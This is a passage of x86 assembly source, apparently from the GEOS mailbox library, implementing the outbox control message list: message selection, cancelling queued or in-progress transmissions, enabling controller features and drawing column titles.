proc near uses ax, cx, dx, bp, di .enter MovMsg cxdx, dxax mov bp, mask MABC_OUTBOX or \ (MACT_EXISTS shl offset MABC_TYPE) or \ (MABC_ALL shl offset MABC_ADDRESS) mov ax, MSG_MA_BOX_CHANGED clr di call UtilForceQueueMailboxApp ; ; Reevaluate when the next timer should go off, since retry time no ; longer enters into the picture for this message. ; mov ax, MSG_MA_RECALC_NEXT_EVENT_TIMER clr di call UtilForceQueueMailboxApp .leave ret OCMLNotifyOfSwitchToWaitingState endp endif ; _AUTO_RETRY_AFTER_TEMP_FAILURE COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLGetMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fetch the MailboxMessage and address # of the selected message CALLED BY: (INTERNAL) OCMLStartMessage, OCMLCancelSend PASS: *ds:si = OutboxControlMessageList RETURN: cxdx = MailboxMessage bp = address # DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLGetMessage proc near class OutboxControlMessageListClass .enter mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock ; ax <- message # mov_tr cx, ax mov ax, MSG_ML_GET_MESSAGE call ObjCallInstanceNoLock .leave ret OCMLGetMessage endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCancelSend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Cancel transmission of the currently selected message, if it's queued or undergoing transmission. CALLED BY: (INTERNAL) OCLMDeleteMessage, OCMLStopMessage PASS: *ds:si = OutboxControlMessageList RETURN: carry clear if message exists *ds:di = MailboxMessageDesc ds:bx = MailboxInternalTransAddr dxax = MailboxMessage cx = address # MainThreads block locked; caller must call MainThreadUnlock carry set otherwise ax, cx, dx, ds, di destroyed DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: fetch the selected message & address extract the transport, trans opt, and medium token from it find the transmit thread, if any, so we can be sure the message can't be queued up while we or our caller mess with it lock the message address again if queued, change address marks by index to 0 if sending, MainThreadCancel(); this will adjust the address marks for the message once the cancel takes effect XXX: MAY NEED TO EXTEND DEADLINE HERE REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLCancelSend proc near class OutboxControlMessageListClass uses bp .enter ; ; Fetch the MailboxMessage and address number. ; call OCMLGetMessage push cx, dx, bp ; save msg info for later ; ; Obtain the transport, transOpt and medium token so we can find any ; transmission thread. ; call MessageLockCXDX ; *ds:di <- MMD jnc msgFound ; ; Message is gone. Return carry set. ; pop ax, ax, ax ; discard msg & addr #, carry preserved jmp exit msgFound: mov si, ds:[di] mov_tr ax, bp ; ax <- addr # movdw bpdx, ds:[si].MMD_transport mov bx, ds:[si].MMD_transOption mov si, ds:[si].MMD_transAddrs call ChunkArrayElementToPtr ; (cx <- addr size) mov ax, ds:[di].MITA_medium call UtilVMUnlockDS mov cx, bp ; cxdx <- transport ; ; Locate the thread. We don't need to worry about the CF return because ; we can base our actions on the QUEUED and SENDING flags... ; call OTFindThread pop dx, ax, cx ; dxax <- msg, cx <- addr # EC < pushf > push ds, di ; for MainThreadCancel ; ; Point to the address again. ; call MessageLock push di, ax mov_tr ax, cx mov si, ds:[di] mov si, ds:[si].MMD_transAddrs call ChunkArrayElementToPtr mov_tr cx, ax ; cx <- addr # mov bx, di ; ds:bx <- MITA ; ; See if the message is queued and needs to be removed from the queue. ; mov al, ds:[bx].MITA_flags andnf al, mask MTF_STATE cmp al, MAS_QUEUED shl offset MTF_STATE je checkQueuedRes cmp al, MAS_READY shl offset MTF_STATE checkQueuedRes: pop di, ax ; dxax <- msg, *ds:di <- MMD jne checkSending ; ; It does. We accomplish this by setting the address marks for the ; thing to 0, which will cause it to be ignored when the transmit thread ; goes to look for the next thing to process. ; ; XXX: There might be a race condition during the callback for ; preparing or sending a message in the transmit thread, between when ; an address is found and when it gets processed, as I don't believe ; that uses the MainThreads block for synchronization. ; if _AUTO_RETRY_AFTER_TEMP_FAILURE ; ; Switch the message into Upon Request mode first, as we assume if ; the user stopped its transmission, she doesn't want it to go until ; she says it should. Seems like a reasonable assumption. In the ; case of _OUTBOX_SEND_WITHOUT_QUERY being set, this also prevents ; us from having to cope with having to do something intelligent ; if there's a TRANS_WIN_OPEN message sent to the application, ; as will happen during the next outbox event handling if we leave the ; retry time as the MAILBOX_NOW it is now. -- ardeb 11/16/95 ; mov si, ds:[di] movdw ds:[si].MMD_autoRetryTime, MAILBOX_ETERNITY call UtilVMDirtyDS endif ; _AUTO_RETRY_AFTER_TEMP_FAILURE push bx, cx mov bx, cx ; bx <- MABoxChange ornf bx, (MACT_EXISTS shl offset MABC_TYPE) or \ mask MABC_OUTBOX ornf cx, mask TID_ADDR_INDEX ; cx <- TalID to mark clr si ; si <- new address mark call OTQChangeAddressMarks pop bx, cx jmp done checkSending: ; ; Not queued. Perhaps it's being sent? ; push ax mov al, ds:[bx].MITA_flags andnf al, mask MTF_STATE cmp al, MAS_SENDING shl offset MTF_STATE je checkSendingRes cmp al, MAS_PREPARING shl offset MTF_STATE checkSendingRes: pop ax jne done ; ; It is -- cancel the thing. ; push ds, di mov bp, sp lds di, ss:[bp+4] ; ds:di <- OutboxThreadData EC < push ss:[bp+8] > EC < popf > EC < ERROR_NC TRANSMISSION_THREAD_MISSING > push ax, cx, dx, bp mov ax, MCA_CANCEL_MESSAGE ; ax <- cancel extent clr dx, bp, cx ; dx:bp, cx <- no ACK needed call MainThreadCancel pop ax, cx, dx, bp pop ds, di ; *ds:di <- MMD done: EC < add sp, 6 ; discard thread data & flags > NEC < add sp, 4 ; discard OutboxThreadData pointer> ; ; Return carry clear (cleared by "add" above). ; exit: .leave ret OCMLCancelSend endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLGenItemGroupSetNoneSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Let MailboxOutboxControl know nothing can be done. CALLED BY: MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance dx = non-z if indeterminate RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLGenItemGroupSetNoneSelected method dynamic OutboxControlMessageListClass, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED clr bx call OCMLNotifyController mov ax, MSG_OCML_ENSURE_SELECTION mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE GOTO ObjMessage OCMLGenItemGroupSetNoneSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLEnsureSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If nothing currently selected, select the first item in the list. CALLED BY: MSG_OCML_ENSURE_SELECTION PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/ 9/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLEnsureSelection method dynamic OutboxControlMessageListClass, MSG_OCML_ENSURE_SELECTION .enter mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock jnc done ; => have selection mov ax, MSG_GEN_DYNAMIC_LIST_GET_NUM_ITEMS call ObjCallInstanceNoLock jcxz done ; => nothing to select clr cx, dx ; cx <- sel #, dx <- not indet. mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjCallInstanceNoLock done: .leave ret OCMLEnsureSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLGenItemGroupSetSingleSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Examine the selection to decide what features the controller should have enabled CALLED BY: MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance cx = identifier (list entry #) dx = non-z if indeterminate RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: lock address & message if sending/queued enable cancel, disable send RESP: if sending & SMS, disable delete & cancel release message REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLGenItemGroupSetSingleSelection method dynamic OutboxControlMessageListClass, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION uses ax, cx, dx, bp, si .enter mov bx, mask MOCFeatures ; assume all enabled mov ax, MSG_ML_GET_MESSAGE call ObjCallInstanceNoLock push ds call MessageLockCXDX mov di, ds:[di] mov si, ds:[di].MMD_transAddrs push di mov_tr ax, bp call ChunkArrayElementToPtr mov al, ds:[di].MITA_flags pop di mov ah, not mask MOCF_STOP_SENDING ; assume not sending, so ; can't stop andnf al, mask MTF_STATE CheckHack <MAS_SENDING gt MAS_PREPARING> CheckHack <MAS_READY gt MAS_PREPARING> CheckHack <MailboxAddressState eq MAS_SENDING+1> cmp al, MAS_PREPARING shl offset MTF_STATE jae cantStartSending cmp al, MAS_QUEUED shl offset MTF_STATE jne tweakFlags cantStartSending: mov ah, not mask MOCF_START_SENDING ; is sending, so can't ; start if _RESPONDER_OUTBOX_CONTROL ; ; Can't do anything to a message being transmitted via SMS if it's ; actively being transmitted ; CmpTok ds:[di].MMD_transport, \ MANUFACTURER_ID_GEOWORKS, \ GMTID_SM, \ tweakFlags mov ah, not (mask MOCF_START_SENDING or \ mask MOCF_STOP_SENDING or \ mask MOCF_DELETE_MESSAGE) endif ; _RESPONDER_OUTBOX_CONTROL tweakFlags: and bl, ah call UtilVMUnlockDS pop ds .leave FALL_THRU OCMLNotifyController OCMLGenItemGroupSetSingleSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLNotifyController %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tell the MailboxOutboxControl what to do with its features before we call our superclass CALLED BY: (INTERNAL) OCMLGenItemGroupSetSingleSelection, OCMLGenItemGroupSetNoneSelected PASS: *ds:si = OutboxControlMessageList ax, cx, dx, bp = message info to pass to superclass bx = MOCFeatures to be enabled. RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLNotifyController proc far uses ax, cx, dx, bp, si .enter mov cx, bx clr dx mov ax, MSG_MAILBOX_OUTBOX_CONTROL_ENABLE_FEATURES call ObjBlockGetOutput mov di, mask MF_FIXUP_DS call ObjMessage .leave mov di, offset OutboxControlMessageListClass GOTO ObjCallSuperNoLock OCMLNotifyController endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLMlRescan %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set default selection after rebuilding the list. CALLED BY: MSG_ML_RESCAN PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: carry set if list is empty DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/24/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLMlRescan method dynamic OutboxControlMessageListClass, MSG_ML_RESCAN .enter mov di, offset OutboxControlMessageListClass call ObjCallSuperNoLock ; ; If empty, tell us that nothing's selected... ; mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED jc setSelection ; ; Else select first one. ; clr cx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION setSelection: pushf clr dx ; dx <- not indeterminate call ObjCallInstanceNoLock popf .leave ret OCMLMlRescan endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLMlCheckBeforeRemoval %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if the message should be removed from the list. CALLED BY: MSG_ML_CHECK_BEFORE_REMOVAL PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance cxdx = MailboxMessage bp = MABoxChange holding address #affected RETURN: carry set to keep message: bp = address number to display for entry carry clear to remove message: bp = destroyed DESTROYED: ax SIDE EFFECTS: none PSEUDO CODE/STRATEGY: Under Responder, messages remain in the list even when they've been queued or are being sent. Only allow removal if MACT_REMOVED is the change type. REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/24/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLMlCheckBeforeRemoval method dynamic OutboxControlMessageListClass, MSG_ML_CHECK_BEFORE_REMOVAL .enter CheckHack <MACT_REMOVED eq 0> test bp, mask MABC_TYPE jz done andnf bp, mask MABC_ADDRESS stc done: .leave ret OCMLMlCheckBeforeRemoval endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLMlGenerateMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate the moniker for the passed message. CALLED BY: MSG_ML_GENERATE_MONIKER PASS: cxdx = MailboxMessage for which to create moniker bp = address # for which to create moniker RETURN: ax = lptr of gstring moniker in object block DESTROYED: cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AY 4/17/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLMlGenerateMoniker method dynamic OutboxControlMessageListClass, MSG_ML_GENERATE_MONIKER MovMsg dxax, cxdx mov cx, bp ; cx < addr # Assert bitClear, cx, <not mask TID_NUMBER> ornf cx, mask TID_ADDR_INDEX ; cx <- TalID call MessageCreateOutboxControlMoniker ; *ds:ax = moniker ret OCMLMlGenerateMoniker endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLMlGetInitialMinimumSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fetch the initial minimum size for the list CALLED BY: MSG_ML_GET_INITIAL_MINIMUM_SIZE PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: cx = default width dx = default height DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 4/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLMlGetInitialMinimumSize method dynamic OutboxControlMessageListClass, MSG_ML_GET_INITIAL_MINIMUM_SIZE .enter call MessageEnsureSizes mov dx, bx ; dx <- height segmov ds, dgroup, ax mov cx, ds:[mmAddrStateRightBorder] add cx, OUTBOX_RIGHT_GUTTER .leave ret OCMLMlGetInitialMinimumSize endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCHVVisRecalcSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure we are of the size of one message item. CALLED BY: MSG_VIS_RECALC_SIZE PASS: *ds:si = OutboxControlHeaderViewClass object es = segment of OutboxControlHeaderViewClass ax = message # cx = RecalcSizeArgs -- suggested width for object dx = RecalcSizeArgs -- suggested height RETURN: cx = width of one message item dx = height of one message item DESTROYED: ax, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AY 1/31/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCHVVisRecalcSize method dynamic OutboxControlHeaderViewClass, MSG_VIS_RECALC_SIZE mov di, offset OutboxControlHeaderViewClass GOTO_ECN OCHSetHeaderSize OCHVVisRecalcSize endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCHGVisRecalcSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure we are of the size of one message item. CALLED BY: MSG_VIS_RECALC_SIZE PASS: *ds:si = OutboxControlHeaderGlyphClass object es = segment of OutboxControlHeaderGlyphClass ax = message # cx = RecalcSizeArgs -- suggested width for object dx = RecalcSizeArgs -- suggested height RETURN: cx = width of one message item dx = height of one message item DESTROYED: ax, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AY 1/31/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCHGVisRecalcSize method dynamic OutboxControlHeaderGlyphClass, MSG_VIS_RECALC_SIZE mov di, offset OutboxControlHeaderGlyphClass FALL_THRU_ECN OCHSetHeaderSize OCHGVisRecalcSize endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCHSetHeaderSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure the passed Vis object is of the size of one message item by returning the width and the height to MSG_VIS_RECALC_SIZE CALLED BY: OCHVVisRecalcSize, OCHGVisRecalcSize PASS: *ds:si = any Vis object es:di = actual class of passed object ax = MSG_VIS_RECALC_SIZE cx = RecalcSizeArgs -- suggested width for object dx = RecalcSizeArgs -- suggested height RETURN: cx = width of one message item dx = height of one message item ds fixed up DESTROYED: ax, bx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AY 1/31/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCHSetHeaderSize proc ecnear ; ; Call superclass even though we are returning our own values, or ; else we die with ; UI_CANT_DO_CUSTOM_RECALC_SIZE_AND_DO_SPECIAL_JUSTIFICATION ; call ObjCallSuperNoLock call MessageEnsureSizes ; ax = width, bx = height mov_tr cx, ax ; cx = width mov dx, bx ; dx = height ret OCHSetHeaderSize endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLBypassSpui %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Bypass annoying behaviour in OLCtrl to get it from VisComp, which obeys our requests for margins. CALLED BY: MSG_VIS_RECALC_SIZE PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance random args RETURN: random results DESTROYED: random things SIDE EFFECTS: ditto PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/11/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLBypassSpui method dynamic OutboxControlMessageListClass, MSG_VIS_RECALC_SIZE segmov es, <segment VisCompClass>, di mov di, offset VisCompClass call ObjCallClassNoLock ; ; Make sure we have a non-zero height when the superclass thinks we ; should have zero height, or else we eventually end up with zero ; height somehow. ; tst dx jnz done inc dx done: ret OCMLBypassSpui endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCHGVisDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Redraw the title of the list CALLED BY: MSG_VIS_DRAW PASS: *ds:si = OutboxControlHeaderGlyph object ds:di = OutboxControlHeaderGlyphInstance cl = DrawFlags bp = gstate for drawing RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/10/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCHGVisDraw method dynamic OutboxControlHeaderGlyphClass, MSG_VIS_DRAW .enter ; ; Let superclass handle the bulk of the work. ; push bp mov di, offset OutboxControlHeaderGlyphClass call ObjCallSuperNoLock pop di ; ; Set font for outbox ; call GrSaveState mov cx, OUTBOX_TITLE_FONT mov dx, OUTBOX_TITLE_FONT_SIZE clr ah call GrSetFont mov ax, C_BLACK call GrSetLineColor call GrSetTextColor mov ax, mask TS_BOLD or \ ((not mask TS_BOLD and mask TextStyle) shl 8) call GrSetTextStyle segmov es, dgroup, ax mov bx, offset uiRespSubjTitle mov ax, es:[mmSubjectRightBorder] call OCHGDrawTitle mov bx, offset uiRespDestTitle mov ax, es:[mmDestinationRightBorder] call OCHGDrawTitle mov bx, offset uiRespTransTitle mov ax, es:[mmTransMediumAbbrevRightBorder] call OCHGDrawTitle mov bx, offset uiRespStateTitle mov ax, es:[mmAddrStateRightBorder] call OCHGDrawTitle call GrRestoreState .leave ret OCHGVisDraw endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCHGDrawTitle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw part of the title of the list, with the funky line going the entire height of the header CALLED BY: (INTERNAL) OCHGVisDraw PASS: *ds:si = OutboxControlHeaderGlyph object ax = right edge of field bx = chunk handle of title string in ROStrings di = gstate to use for drawing RETURN: nothing DESTROYED: ax, bx, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/10/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCHGDrawTitle proc near uses si .enter ; ; Find the bounds of the object, for translating coordinates and ; figuring how tall a line to draw at the right edge of the field. ; push ax, bx mov ax, MSG_VIS_GET_BOUNDS call ObjCallInstanceNoLock pop cx, si ; ; Find the width of the string we want to draw for the title. ; add ax, cx ; ax <- actual right edge coord, in ; parent window ; bp = actual top edge coord ; dx = bottom edge push ds push ax mov bx, handle ROStrings call MemLock mov ds, ax pop ax ; ax <- right edge mov si, ds:[si] clr cx ; cx <- null-terminated push dx call GrTextWidth ; dx <- width pop bx ; bx <- bottom edge ; ; Draw the text that far from the left edge of the edge marker, ; with reasonable separation between the text and the marker. ; push ax sub ax, OUTBOX_TITLE_SEPARATION + OUTBOX_TITLE_CORNER_LEN sub ax, dx xchg bx, bp ; bx <- top edge, bp <- bottom call GrDrawText ; ; Draw the horizontal part of the field edge marker. We use swapped ; X coords drawing this part so we can reuse what's in AX for drawing ; the vertical part. ; push dx, si mov si, GFMI_STRIKE_POS or GFMI_ROUNDED call GrFontMetrics add bx, dx ; start corner at strike-through ; pos for font. pop dx, si pop ax ; ax <- right edge of field ; inc ax ; inc ax ; cope with two-pixel inset of list ; item monikers (sigh) mov cx, ax sub cx, OUTBOX_TITLE_CORNER_LEN call GrDrawHLine ; ; Now draw the vertical part from the top of the object to the bottom ; mov dx, bp ; dx <- bottom edge call GrDrawVLine call UtilUnlockDS pop ds .leave ret OCHGDrawTitle endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSpecBuild %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Hack to tweak some Vis data to reflect how we draw, once our superclass has finished setting it wrong. CALLED BY: MSG_SPEC_BUILD PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/11/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLSpecBuild method dynamic OutboxControlMessageListClass, MSG_SPEC_BUILD .enter mov di, offset OutboxControlMessageListClass call ObjCallSuperNoLock DerefDI VisComp andnf ds:[di].VCI_geoAttrs, not mask VCGA_ONLY_DRAWS_IN_MARGINS .leave ret OCMLSpecBuild endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSpecScanGeometryHints %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Hack to tweak some Vis data to reflect how we draw, once our superclass has finished setting it wrong. CALLED BY: MSG_SPEC_SCAN_GEOMETRY_HINTS PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/12/95 Initial version 